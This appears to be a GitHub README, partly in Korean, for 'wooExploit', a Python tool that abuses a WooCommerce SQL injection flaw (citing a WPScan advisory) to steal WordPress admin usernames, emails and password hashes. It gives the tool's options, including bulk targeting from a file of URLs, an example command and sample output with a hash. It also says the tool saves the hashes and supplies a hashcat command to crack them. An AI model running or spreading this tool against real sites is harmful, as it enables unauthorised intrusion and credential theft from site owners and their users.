randomrobbiebf/wooExploit woocommerce SQLI and grab user and password hash
https://wpscan.com/vulnerability/1212fec8-1fde-41e5-af70-abdd7ffe5379
Woocommerce SQLI를 이용하여 사용자 및 비밀번호 해시를 탈취합니다.
usage: woo.py [-h] [-u URL] [-f FILE] [-p PROXY] [-i WID]
optional arguments:
-h, --help show this help message and exit
-u URL, --url URL URL to test
-f FILE, --file FILE File of urls
-p PROXY, --proxy PROXY
Proxy for debugging
-i WID, --wid WID User ID of User
python3 woo.py -u https://www.website.com -i 1
Admin ID: 2
Admin Username: [email protected]
Admin Email Address: [email protected]
Admin Password Hash:$P$BIAtNs11r0CBJZxa3B1JLrFd5C9f7r/
이 명령을 실행할 때마다 해시를 wphash.has 파일에 기록하고, 해시를 크랙할 수 있는 hash cat 명령어를 제공합니다.